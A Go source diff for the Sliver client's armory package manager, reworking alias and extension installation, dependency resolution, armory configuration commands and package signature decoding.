+}
+
+func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
 	if entry == nil {
 		return errors.New("package not found")
 	}
+	if !entry.Pkg.IsAlias {
+		return errors.New("package is not an alias")
+	}
 	repoURL, err := url.Parse(entry.RepoURL)
 	if err != nil {
 		return err
@@ -159,7 +483,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
 		return errors.New("signature verification failed")
 	}

-	tmpFile, err := ioutil.TempFile("", "sliver-armory-")
+	tmpFile, err := os.CreateTemp("", "sliver-armory-")
 	if err != nil {
 		return err
 	}
@@ -172,82 +496,58 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *

 	con.Printf(console.Clearln + "\r") // Clear the line

-	installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
+	installPath := alias.InstallFromFile(tmpFile.Name(), entry.Alias.CommandName, promptToOverwrite, con)
 	if installPath == nil {
 		return errors.New("failed to install alias")
 	}
-	_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
+
+	menuCmd := con.App.Menu(constants.ImplantMenu).Root()
+
+	_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), menuCmd, con)
 	if err != nil {
 		return err
 	}
 	return nil
 }

-func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
-	deps := make(map[string]struct{})
-	resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
-	for dep := range deps {
-		if extensions.CmdExists(dep, con.App) {
-			continue // Dependency is already installed
-		}
-		err := installExtensionPackageByName(dep, clientConfig, con)
-		if err != nil {
-			con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
-			return
-		}
-	}
-	err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
-	if err != nil {
-		con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
-		return
-	}
-}
-
 const maxDepDepth = 10 // Arbitrary recursive limit for dependencies

-func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
-	var entry *pkgCacheEntry
-	pkgCache.Range(func(key, value interface{}) bool {
-		cacheEntry := value.(pkgCacheEntry)
-		if cacheEntry.Pkg.CommandName == name {
-			entry = &cacheEntry
-			return false
+func resolveExtensionPackageDependencies(pkg *pkgCacheEntry, deps map[string]*pkgCacheEntry, pendingPackages map[string]string) error {
+	for _, multiExt := range pkg.Extension.ExtCommand {
+		if multiExt.DependsOn == "" {
+			continue // Avoid adding empty dependency
 		}
-		return true
-	})
-	if entry == nil {
-		return
-	}

-	if entry.Extension.DependsOn == "" {
-		return // Avoid adding empty dependency
+		if multiExt.DependsOn == pkg.Extension.Name {
+			continue // Avoid infinite loop of something that depends on itself
+		}
+		// We also need to look out for circular dependencies, so if we've already
+		// seen this dependency, we stop resolving
+		if _, ok := deps[multiExt.DependsOn]; ok {
+			continue // Already resolved
+		}
+		// Check to make sure we are not already going to install a package with this name
+		if _, ok := pendingPackages[multiExt.DependsOn]; ok {
+			continue
+		}
+		if maxDepDepth < len(deps) {
+			continue
+		}
+		// Figure out what package we need for the dependency
+		dependencyEntry, err := getPackageForCommand(multiExt.DependsOn, "", "")
+		if err != nil {
+			return fmt.Errorf("could not resolve dependency %s for %s: %s", multiExt.DependsOn, pkg.Extension.Name, err)
+		}
+		deps[multiExt.DependsOn] = dependencyEntry
+		err = resolveExtensionPackageDependencies(dependencyEntry, deps, pendingPackages)
+		if err != nil {
+			return err
+		}
 	}
-
-	if entry.Extension.DependsOn == name {
-		return // Avoid infinite loop of something that depends on itself
-	}
-	// We also need to look out for circular dependencies, so if we've already
-	// seen this dependency, we stop resolving
-	if _, ok := deps[entry.Extension.DependsOn]; ok {
-		return // Already resolved
-	}
-	if maxDepDepth < len(deps) {
-		return
-	}
-	deps[entry.Extension.DependsOn] = struct{}{}
-	resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
+	return nil
 }

-func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
-	var entry *pkgCacheEntry
-	pkgCache.Range(func(key, value interface{}) bool {
-		cacheEntry := value.(pkgCacheEntry)
-		if cacheEntry.Pkg.CommandName == name {
-			entry = &cacheEntry
-			return false
-		}
-		return true
-	})
+func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
 	if entry == nil {
 		return errors.New("package not found")
 	}
@@ -277,7 +577,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
 		return errors.New("signature verification failed")
 	}

-	tmpFile, err := ioutil.TempFile("", "sliver-armory-")
+	tmpFile, err := os.CreateTemp("", "sliver-armory-")
 	if err != nil {
 		return err
 	}
@@ -293,17 +593,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c

 	con.Printf(console.Clearln + "\r") // Clear download message

-	installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
-	if installPath == nil {
-		return errors.New("failed to install extension")
-	}
-	extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
-	if err != nil {
-		return err
-	}
-	if extensions.CmdExists(extCmd.Name, con.App) {
-		con.App.Commands().Remove(extCmd.Name)
-	}
-	extensions.ExtensionRegisterCommand(extCmd, con)
+	extensions.InstallFromDir(tmpFile.Name(), promptToOverwrite, con, true)
+
 	return nil
 }
@@ -0,0 +1,653 @@
+package armory
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+	"slices"
+	"strings"
+	"sync"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/spf13/cobra"
+)
+
+func printArmories(con *console.SliverClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+
+	tw.AppendHeader(table.Row{
+		"Armory Name",
+		"Authorization Required",
+		"Enabled",
+		"URL",
+	})
+
+	configuredArmories := getCurrentArmoryConfiguration()
+
+	for _, armory := range configuredArmories {
+		var authRequired string
+		var enabled string
+		if armory.Authorization != "" {
+			authRequired = "yes"
+		} else {
+			authRequired = "no"
+		}
+		if armory.Enabled {
+			enabled = "yes"
+		} else {
+			enabled = "no"
+		}
+		tw.AppendRow(table.Row{
+			armory.Name,
+			authRequired,
+			enabled,
+			armory.RepoURL,
+		})
+	}
+
+	con.Printf("%s\n", tw.Render())
+}
+
+func generateRowsForArmory(armoryInfo *assets.ArmoryConfig) []table.Row {
+	rows := make([]table.Row, 0)
+	rows = append(rows, table.Row{
+		"Name",
+		armoryInfo.Name,
+	})
+
+	rows = append(rows, table.Row{
+		"Public Key",
+		armoryInfo.PublicKey,
+	})
+
+	enabled := "yes"
+	if !armoryInfo.Enabled {
+		enabled = "no"
+	}
+
+	rows = append(rows, table.Row{
+		"Enabled",
+		enabled,
+	})
+
+	authorizationRequired := "no"
+	if armoryInfo.Authorization != "" {
+		authorizationRequired = fmt.Sprintf("yes; current authorization: %s", armoryInfo.Authorization)
+	}
+	rows = append(rows, table.Row{
+		"Authorization required?",
+		authorizationRequired,
+	})
+	if authorizationRequired != "no" {
+		authCmd := armoryInfo.AuthorizationCmd
+		if authCmd == "" {
+			authCmd = "not configured"
+		}
+		rows = append(rows, table.Row{
+			"Authorization Command",
+			authCmd,
+		})
+	}
+
+	rows = append(rows, table.Row{
+		"URL",
+		armoryInfo.RepoURL,
+	})
+
+	return rows
+}
+
+func generateRowsForPackage(packageInfo *pkgCacheEntry) []table.Row {
+	rows := make([]table.Row, 0)
+
+	rows = append(rows, table.Row{
+		"Name",
+		packageInfo.Pkg.Name,
+	})
+
+	rows = append(rows, table.Row{
+		"Command Name",
+		packageInfo.Pkg.CommandName,
+	})
+
+	rows = append(rows, table.Row{
+		"Armory Name",
+		packageInfo.Pkg.ArmoryName,
+	})
+
+	packageType := "alias"
+	if !packageInfo.Pkg.IsAlias {
+		packageType = "extension"
+	}
+	rows = append(rows, table.Row{
+		"Package Type",
+		packageType,
+	})
+	if packageType == "alias" {
+		rows = append(rows, table.Row{
+			"Version",
+			packageInfo.Alias.Version,
+		})
+		rows = append(rows, table.Row{
+			"Author",
+			packageInfo.Alias.OriginalAuthor,
+		})
+		rows = append(rows, table.Row{
+			"Repo URL",
+			packageInfo.Alias.RepoURL,
+		})
+		rows = append(rows, table.Row{
+			"Help",
+			packageInfo.Alias.Help,
+		})
+	} else {
+		rows = append(rows, table.Row{
+			"Version",
+			packageInfo.Extension.Version,
+		})
+		rows = append(rows, table.Row{
+			"Original Author",
+			packageInfo.Extension.OriginalAuthor,
+		})
+		rows = append(rows, table.Row{
+			"Extension Author",
+			packageInfo.Extension.ExtensionAuthor,
+		})
+		rows = append(rows, table.Row{
+			"URL",
+			packageInfo.Extension.RepoURL,
+		})
+		extCommands := []string{}
+		for _, cmd := range packageInfo.Extension.ExtCommand {
+			extCommands = append(extCommands, cmd.CommandName)
+		}
+		rows = append(rows, table.Row{
+			"Contains commands",
+			strings.Join(extCommands, ", "),
+		})
+		rows = append(rows, table.Row{"", ""})
+		rows = append(rows, table.Row{"Command Info", ""})
+		for _, extCmd := range packageInfo.Extension.ExtCommand {
+			rows = append(rows, table.Row{
+				"Command Name",
+				extCmd.CommandName,
+			})
+			rows = append(rows, table.Row{
+				"Dependencies",
+				extCmd.DependsOn,
+			})
+			rows = append(rows, table.Row{
+				"Help",
+				extCmd.Help,
+			})
+			rows = append(rows, table.Row{"", ""})
+		}
+	}
+	rows = append(rows, table.Row{"", ""})
+
+	return rows
+}
+
+func viewDetailedInformation(con *console.SliverClient, entity string) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+
+	tw.AppendHeader(table.Row{
+		"Property",
+		"Value",
+	})
+
+	// See where this name exists in the armory and package indexes
+	armoryResult := armoryLookupByName(entity)
+	if armoryResult != nil {
+		tw.AppendRows(generateRowsForArmory(armoryResult))
+		con.Printf("Armory information for %s\n\n", entity)
+		con.Printf("%s\n", tw.Render())
+		tw.ResetRows()
+		con.Printf("\n")
+	}
+
+	// Get packages with this name
+	packageResult := packageCacheLookupByName(entity)
+	if len(packageResult) > 0 {
+		con.Printf("Packages named %s\n\n", entity)
+		for _, pkg := range packageResult {
+			tw.AppendRows(generateRowsForPackage(pkg))
+			con.Printf("%s\n", tw.Render())
+			tw.ResetRows()
+			con.Printf("\n")
+		}
+	}
+
+	// Get extensions containing commands with this name
+	commandResult := packageCacheLookupByCmd(entity)
+	commandResultFiltered := make([]*pkgCacheEntry, 0)
+	for _, cmd := range commandResult {
+		if !cmd.Pkg.IsAlias {
+			commandResultFiltered = append(commandResultFiltered, cmd)
+		}
+	}
+	if len(commandResultFiltered) > 0 {
+		con.Printf("Packages containing commands named %s\n\n", entity)
+		for _, cmd := range commandResultFiltered {
+			tw.AppendRows(generateRowsForPackage(cmd))
+			con.Printf("%s\n", tw.Render())
+			tw.ResetRows()
+		}
+	}
+
+}
+
+func ArmoryInfoCommand(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	if len(args) == 0 {
+		printArmories(con)
+		return
+	}
+	// If the user wants info on something specific, make sure the caches are up to date
+	refresh(parseArmoryHTTPConfig(cmd))
+	viewDetailedInformation(con, args[0])
+}
+
+func verifyArmory(armoryInfo *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) error {
+	wg := &sync.WaitGroup{}
+	// Only making one request, so we can limit ourselves to one concurrent request
+	requestChannel := make(chan struct{}, 1)
+	wg.Add(1)
+	requestChannel <- struct{}{}
+	go fetchIndex(armoryInfo, requestChannel, clientConfig, wg)
+	wg.Wait()
+
+	result, ok := indexCache.Load(armoryInfo.PublicKey)
+	if !ok {
+		return fmt.Errorf("failed to retrieve armory index")
+	}
+	cacheResult := result.(indexCacheEntry)
+	return cacheResult.LastErr
+}
+
+func getCurrentArmoryConfiguration() []*assets.ArmoryConfig {
+	configs := []*assets.ArmoryConfig{}
+	armoryNames := []string{}
+	// If the default armory is in the configuration, force it to be last
+	var defaultConfig *assets.ArmoryConfig
+
+	currentArmories.Range(func(key, value interface{}) bool {
+		armoryEntry := value.(assets.ArmoryConfig)
+		// Skip over the default armory for now
+		if armoryEntry.Name != assets.DefaultArmoryName {
+			configs = append(configs, &armoryEntry)
+			armoryNames = append(armoryNames, armoryEntry.Name)
+		} else {
+			defaultConfig = &armoryEntry
+		}
+		return true
+	})
+
+	if !armoriesInitialized {
+		/*
+			Armories are initialized on the first call to the armory command
+			If armories are added or removed before the first call, we want
+			to make sure we still load in the ones from the configuration
+			file.
+		*/
+		persistentConfigs := assets.GetArmoriesConfig()
+		for _, config := range persistentConfigs {
+			if !slices.Contains(armoryNames, config.Name) {
+				if config.Name == assets.DefaultArmoryName {
+					if defaultArmoryRemoved {
+						continue
+					} else if defaultConfig != nil {
+						// The user potentially changed something about the default config
+						configs = append(configs, defaultConfig)
+						currentArmories.Store(config.PublicKey, *defaultConfig)
+						continue
+					}
+				}
+				configs = append(configs, config)
+				currentArmories.Store(config.PublicKey, *config)
+			}
+		}
+		return configs
+	}
+	if !defaultArmoryRemoved {
+		if defaultConfig != nil {
+			configs = append(configs, defaultConfig)
+		} else {
+			configs = append(configs, assets.DefaultArmoryConfig)
+		}
+	}
+	assets.RefreshArmoryAuthorization(configs)
+	return configs
+}
+
+func armoryNameExists(name string) bool {
+	currentArmoriesConfigured := getCurrentArmoryConfiguration()
+	for _, armory := range currentArmoriesConfigured {
+		if armory.Name == name {
+			return true
+		}
+	}
+
+	return false
+}
+
+func armoryKeyExists(pubKey string) bool {
+	currentArmoriesConfigured := getCurrentArmoryConfiguration()
+	for _, armory := range currentArmoriesConfigured {
+		if armory.PublicKey == pubKey {
+			return true
+		}
+	}
+
+	return false
+}
+
+func AddArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	// Get necessary information
+	url, _ := cmd.Flags().GetString("url")
+	pubKey, _ := cmd.Flags().GetString("pubkey")
+	auth, _ := cmd.Flags().GetString("auth")
+	authCmd, _ := cmd.Flags().GetString("authcmd")
+	noSave, _ := cmd.Flags().GetBool("no-save")
+
+	name := args[0]
+
+	if name == "" {
+		con.PrintErrorf("an armory name is required\n")
+		return
+	}
+	// Make sure we do not already have an armory config with the supplied name
+	if armoryNameExists(name) {
+		con.PrintErrorf("armory %s already exists\n", name)
+		return
+	}
+
+	clientConfig := parseArmoryHTTPConfig(cmd)
+	armoryConfig := assets.ArmoryConfig{
+		PublicKey:        pubKey,
+		RepoURL:          url,
+		Authorization:    auth,
+		AuthorizationCmd: authCmd,
+		Name:             name,
+		Enabled:          true,
+	}
+
+	// verifyArmory will add the armory index to the cache on success, so we do not have to force a refresh
+	err := verifyArmory(&armoryConfig, clientConfig)
+	if err != nil {
+		con.PrintErrorf("could not add armory: %s\n", err)
+		return
+	}
+	currentArmories.Store(armoryConfig.PublicKey, armoryConfig)
+	if !noSave {
+		configs := getCurrentArmoryConfiguration()
+		err = assets.SaveArmoriesConfig(configs)
+		if err != nil {
+			con.PrintErrorf("Could not save armory configuration: %s\n", err)
+		} else {
+			con.PrintSuccessf("Armory configuration saved\n")
+		}
+	}
+	con.PrintSuccessf("Added armory %s\n", name)
+}
+
+// Get a list of package IDs for an armory by its public key
+func getPackageIDsForArmory(armoryPublicKey string) []string {
+	packageIDs := []string{}
+
+	pkgCache.Range(func(key, value interface{}) bool {
+		pkgEntry := value.(pkgCacheEntry)
+		if pkgEntry.ArmoryConfig.PublicKey == armoryPublicKey {
+			packageIDs = append(packageIDs, pkgEntry.ID)
+		}
+		return true
+	})
+
+	return packageIDs
+}
+
+func RemoveArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	name := args[0]
+
+	if name == "" {
+		con.PrintErrorf("an armory name is required\n")
+		return
+	}
+
+	armories := getCurrentArmoryConfiguration()
+	deleted := false
+	newConfiguration := []*assets.ArmoryConfig{}
+	for _, armory := range armories {
+		if armory.Name != name {
+			newConfiguration = append(newConfiguration, armory)
+		} else {
+			currentArmories.Delete(armory.PublicKey)
+			indexCache.Delete(armory.PublicKey)
+			/*
+				To delete from the package cache, we will have
+				to gather a list of package IDs for the
+				armory then delete them from the cache.
+			*/
+			armoryPackageIDs := getPackageIDsForArmory(armory.PublicKey)
+			for _, id := range armoryPackageIDs {
+				pkgCache.Delete(id)
+			}
+			deleted = true
+		}
+	}
+
+	if deleted {
+		con.PrintSuccessf("Armory %s successfully deleted, saving configuration...\n", name)
+		if name == assets.DefaultArmoryName {
+			defaultArmoryRemoved = true
+		}
+	} else {
+		con.PrintErrorf("Armory %s is not a configured armory\n", name)
+		return
+	}
+
+	err := assets.SaveArmoriesConfig(newConfiguration)
+	if err != nil {
+		con.PrintErrorf("Could not save new armory configuration: %s\n", err)
+	} else {
+		con.PrintSuccessf("Saved armory configuration\n")
+	}
+}
+
+func SaveArmories(con *console.SliverClient) {
+	configs := getCurrentArmoryConfiguration()
+	err := assets.SaveArmoriesConfig(configs)
+	if err != nil {
+		con.PrintErrorf("Could not save armory configuration: %s\n", err)
+	} else {
+		con.PrintSuccessf("Successfully saved armory configuration\n")
+	}
+}
+
+func getArmoryConfig(name string) (assets.ArmoryConfig, error) {
+	armories := getCurrentArmoryConfiguration()
+	var armoryPublicKey string
+	armoryConfig := assets.ArmoryConfig{}
+	for _, armory := range armories {
+		if armory.Name == name {
+			armoryPublicKey = armory.PublicKey
+			break
+		}
+	}
+
+	if armoryPublicKey == "" {
+		return armoryConfig, fmt.Errorf("could not retrieve armory configuration for armory %s. Try running the armory command to refresh indexes", name)
+	}
+
+	value, ok := currentArmories.Load(armoryPublicKey)
+	if !ok {
+		return armoryConfig, fmt.Errorf("could not retrieve armory configuration for armory %s. Try running the armory command to refresh indexes", name)
+	}
+	armoryConfig = value.(assets.ArmoryConfig)
+	return armoryConfig, nil
+}
+
+func ChangeArmoryEnabledState(cmd *cobra.Command, con *console.SliverClient, args []string, enabled bool) {
+	// Get the armory's public key, change its state, then update the cache to remove packages from the armory
+	var name string
+	if len(args) > 0 && args[0] != "" {
+		name = args[0]
+	} else {
+		con.PrintErrorf("an armory name is required")
+		return
+	}
+
+	armoryConfig, err := getArmoryConfig(name)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	armoryPublicKey := armoryConfig.PublicKey
+	armoryConfig.Enabled = enabled
+	currentArmories.Store(armoryPublicKey, armoryConfig)
+
+	if !enabled {
+		// Remove cached info for the armory if it is disabled
+		armoryPackageIDs := getPackageIDsForArmory(armoryPublicKey)
+		for _, id := range armoryPackageIDs {
+			pkgCache.Delete(id)
+		}
+		indexCache.Delete(armoryPublicKey)
+	}
+	// Force a refresh
+	clientConfig := parseArmoryHTTPConfig(cmd)
+	con.PrintInfof("Refreshing armory information...\n")
+	refresh(clientConfig)
+	SaveArmories(con)
+	con.PrintSuccessf("Done\n")
+}
+
+func ModifyArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	// Quick check to make sure we were provided with a name
+	var name string
+	if len(args) > 0 && args[0] != "" {
+		name = args[0]
+	}
+	if name == "" {
+		con.PrintErrorf("an armory name is required\n")
+		return
+	}
+
+	// Get the record for the armory
+	armoryConfig, err := getArmoryConfig(name)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	// Save the old config so we can delete the existing config
+	// and revert if needed
+	previousConfig := assets.ArmoryConfig{
+		PublicKey:        armoryConfig.PublicKey,
+		RepoURL:          armoryConfig.RepoURL,
+		Authorization:    armoryConfig.Authorization,
+		AuthorizationCmd: armoryConfig.AuthorizationCmd,
+		Name:             armoryConfig.Name,
+		Enabled:          armoryConfig.Enabled,
+	}
+
+	if cmd.Flags().Changed("name") {
+		newName, _ := cmd.Flags().GetString("name")
+		// Make sure the name does not already exist
+		if armoryNameExists(newName) {
+			con.PrintErrorf("armory with name %s already exists\n", name)
+			return
+		}
+		armoryConfig.Name = newName
+	}
+	if cmd.Flags().Changed("pubkey") {
+		newPubKey, _ := cmd.Flags().GetString("pubkey")
+		/*
+			Since public keys are used as the key for the index cache,
+			make sure we have not been given a key that already exists
+		*/
+		if armoryKeyExists(newPubKey) {
+			con.PrintErrorf("armory provided public key already exists\n")
+			return
+		}
+		armoryConfig.PublicKey = newPubKey
+	}
+	if cmd.Flags().Changed("url") {
+		newUrl, _ := cmd.Flags().GetString("url")
+		armoryConfig.RepoURL = newUrl
+	}
+	if cmd.Flags().Changed("auth") {
+		newAuth, _ := cmd.Flags().GetString("auth")
+		armoryConfig.Authorization = newAuth
+	}
+	if cmd.Flags().Changed("authcmd") {
+		newAuthCmd, _ := cmd.Flags().GetString("authcmd")
+		armoryConfig.AuthorizationCmd = newAuthCmd
+	}
+
+	// We will remove the old armory and add a new one with the changed properties to force a refresh
+	currentArmories.Delete(previousConfig.PublicKey)
+	indexCache.Delete(previousConfig.PublicKey)
+	armoryPackageIDs := getPackageIDsForArmory(previousConfig.PublicKey)
+	for _, id := range armoryPackageIDs {
+		pkgCache.Delete(id)
+	}
+	clientConfig := parseArmoryHTTPConfig(cmd)
+	err = verifyArmory(&armoryConfig, clientConfig)
+	if err != nil {
+		con.PrintErrorf("could not modify armory: %s\n", err)
+		confirm := false
+		prompt := &survey.Confirm{Message: "Would you like to revert the properties of the armory back to their previous values?"}
+		survey.AskOne(prompt, &confirm, nil)
+		if !confirm {
+			return
+		} else {
+			err = verifyArmory(&previousConfig, clientConfig)
+			if err != nil {
+				con.PrintErrorf("could not re-add armory %s: %s\n", name, err)
+				return
+			}
+			armoryConfig = previousConfig
+			con.PrintSuccessf("Re-added armory with previous values")
+		}
+	}
+	currentArmories.Store(armoryConfig.PublicKey, armoryConfig)
+	if !cmd.Flags().Changed("no-save") {
+		SaveArmories(con)
+	}
+	// Force a refresh
+	con.PrintInfof("Refreshing armory information...\n")
+	refresh(clientConfig)
+	con.PrintSuccessf("Done\n")
+}
+
+func RefreshArmories(cmd *cobra.Command, con *console.SliverClient) {
+	clientConfig := parseArmoryHTTPConfig(cmd)
+	// Since this being called from the refresh command, force the refresh
+	clientConfig.IgnoreCache = true
+	clearAllCaches()
+	armoriesInitialized = false
+	con.PrintInfof("Refreshing armory information...")
+	refresh(clientConfig)
+	con.PrintSuccessf("Refreshed armory information\n")
+}
+
+func ResetArmoryConfig(cmd *cobra.Command, con *console.SliverClient) {
+	armoryConfigPath := filepath.Join(assets.GetRootAppDir(), assets.ArmoryConfigFileName)
+	con.PrintInfof("Removing armory configuration file %s...", armoryConfigPath)
+	err := os.Remove(armoryConfigPath)
+	if err != nil {
+		con.PrintErrorf("Could not delete armory configuration file %s: %s", armoryConfigPath, err)
+		return
+	}
+	con.PrintSuccessf("Removed armory configuration file %s\n", armoryConfigPath)
+
+	// Force a refresh
+	RefreshArmories(cmd, con)
+	con.PrintSuccessf("Successfully reset armory configuration\n")
+}
@@ -19,12 +19,14 @@ package armory
 */

 import (
+	"bytes"
+	"crypto/sha256"
 	"crypto/tls"
 	"encoding/base64"
 	"encoding/json"
 	"errors"
 	"fmt"
-	"io/ioutil"
+	"io"
 	"net"
 	"net/http"
 	"net/url"
@@ -33,7 +35,7 @@ import (
 	"time"

 	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/server/cryptography/minisign"
+	"github.com/bishopfox/sliver/util/minisign"
 )

 // ArmoryIndexParser - Generic interface to fetch armory indexes
@@ -67,6 +69,18 @@ type armoryPkgResponse struct {
 	TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
 }

+func calculatePackageHash(pkg *ArmoryPackage) string {
+	if pkg == nil {
+		return ""
+	}
+
+	hasher := sha256.New()
+	// Hash some of the things that make the package unique
+	packageIdentifier := []byte(pkg.RepoURL + pkg.PublicKey + pkg.ArmoryName + pkg.CommandName)
+	hasher.Write(packageIdentifier)
+	return fmt.Sprintf("%x", hasher.Sum(nil))
+}
+
 //
 // Default Parsers for Self-Hosted Armories
 //
@@ -80,6 +94,9 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 	}

 	resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
+	if err != nil {
+		return nil, err
+	}
 	if resp.StatusCode != http.StatusOK {
 		return nil, errors.New("api returned non-200 status code")
 	}
@@ -111,9 +128,45 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 	if err != nil {
 		return nil, err
 	}
+	// Populate armory name and ID information for assets
+	for _, bundle := range armoryIndex.Bundles {
+		bundle.ArmoryName = armoryIndex.ArmoryConfig.Name
+	}
+	for _, alias := range armoryIndex.Aliases {
+		alias.ArmoryName = armoryIndex.ArmoryConfig.Name
+		alias.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
+		if cached := packageCacheLookupByCmdAndArmory(alias.CommandName, armoryIndex.ArmoryConfig.PublicKey); cached != nil {
+			// A package with this name is in the cache, so we will remove it here so that the latest version is added
+			// when the index is parsed
+			pkgCache.Delete(cached.ID)
+		}
+		alias.ID = calculatePackageHash(alias)
+	}
+	for _, extension := range armoryIndex.Extensions {
+		extension.ArmoryName = armoryIndex.ArmoryConfig.Name
+		extension.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
+		if cached := packageCacheLookupByCmdAndArmory(extension.CommandName, armoryIndex.ArmoryConfig.PublicKey); cached != nil {
+			// A package with this name is in the cache, so we will remove it here so that the latest version is added
+			// when the index is parsed
+			pkgCache.Delete(cached.ID)
+		}
+		extension.ID = calculatePackageHash(extension)
+	}
 	return armoryIndex, nil
 }

+func decodePackageSignature(sigString string) ([]byte, error) {
+	// Base64 decode the signature
+	decodedData := make([]byte, base64.StdEncoding.DecodedLen(len(sigString)))
+	_, err := base64.StdEncoding.Decode(decodedData, []byte(sigString))
+	if err != nil {
+		return nil, err
+	}
+	// If decodedData does not end up being base64.StdEncoding.DecodedLen(len(data)) bytes long, trim the null bytes
+	decodedData = bytes.Trim(decodedData, "\x00")
+	return decodedData, nil
+}
+
 // DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
 func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
 	var publicKey minisign.PublicKey
@@ -122,25 +175,29 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
 		return nil, nil, err
 	}

-	resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
+	resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{})
 	if err != nil {
 		return nil, nil, err
 	}
 	if resp.StatusCode != http.StatusOK {
-		return nil, nil, errors.New("api returned non-200 status code")
+		return nil, nil, fmt.Errorf("api returned non-200 status code (%d)", resp.StatusCode)
 	}
 	pkgResp := &armoryPkgResponse{}
 	err = json.Unmarshal(body, pkgResp)
 	if err != nil {
 		return nil, nil, err
 	}
-	sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
+	decodedSig, err := decodePackageSignature(pkgResp.Minisig)
+	if err != nil {
+		return nil, nil, err
+	}
+	sig, err := parsePkgMinsig(decodedSig)
 	if err != nil {
 		return nil, nil, err
 	}
 	var tarGz []byte
 	if !sigOnly {
-		tarGzURL, err := url.Parse(armoryPkg.RepoURL)
+		tarGzURL, err := url.Parse(pkgResp.TarGzURL)
 		if err != nil {
 			return nil, nil, err
 		}
@@ -242,6 +299,20 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 	if err != nil {
 		return nil, err
 	}
+	// Populate armory name and ID information for assets
+	for _, bundle := range armoryIndex.Bundles {
+		bundle.ArmoryName = armoryIndex.ArmoryConfig.Name
+	}
+	for _, alias := range armoryIndex.Aliases {
+		alias.ArmoryName = armoryIndex.ArmoryConfig.Name
+		alias.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
+		alias.ID = calculatePackageHash(alias)
+	}
+	for _, extension := range armoryIndex.Extensions {
+		extension.ArmoryName = armoryIndex.ArmoryConfig.Name
+		extension.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
+		extension.ID = calculatePackageHash(extension)
+	}
 	return armoryIndex, nil
 }

@@ -427,7 +498,7 @@ func httpRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *ass
 	}
 	defer resp.Body.Close()

-	body, err := ioutil.ReadAll(resp.Body)
+	body, err := io.ReadAll(resp.Body)
 	return resp, body, err
 }

@@ -436,8 +507,14 @@ func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig
 		"Accept": {"application/octet-stream"},
 	}
 	resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
+	if err != nil {
+		return nil, err
+	}
+	if resp == nil {
+		return nil, fmt.Errorf("invalid response when downloading %s, try again later", reqURL)
+	}
 	if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
-		return nil, fmt.Errorf("Error downloading asset: http %d", resp.StatusCode)
+		return nil, fmt.Errorf("error downloading asset: http %d", resp.StatusCode)
 	}

 	return body, err
@@ -21,19 +21,22 @@ package armory
 import (
 	"regexp"

+	"github.com/spf13/cobra"
+
 	"github.com/bishopfox/sliver/client/command/alias"
 	"github.com/bishopfox/sliver/client/command/extensions"
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/desertbit/grumble"
 )

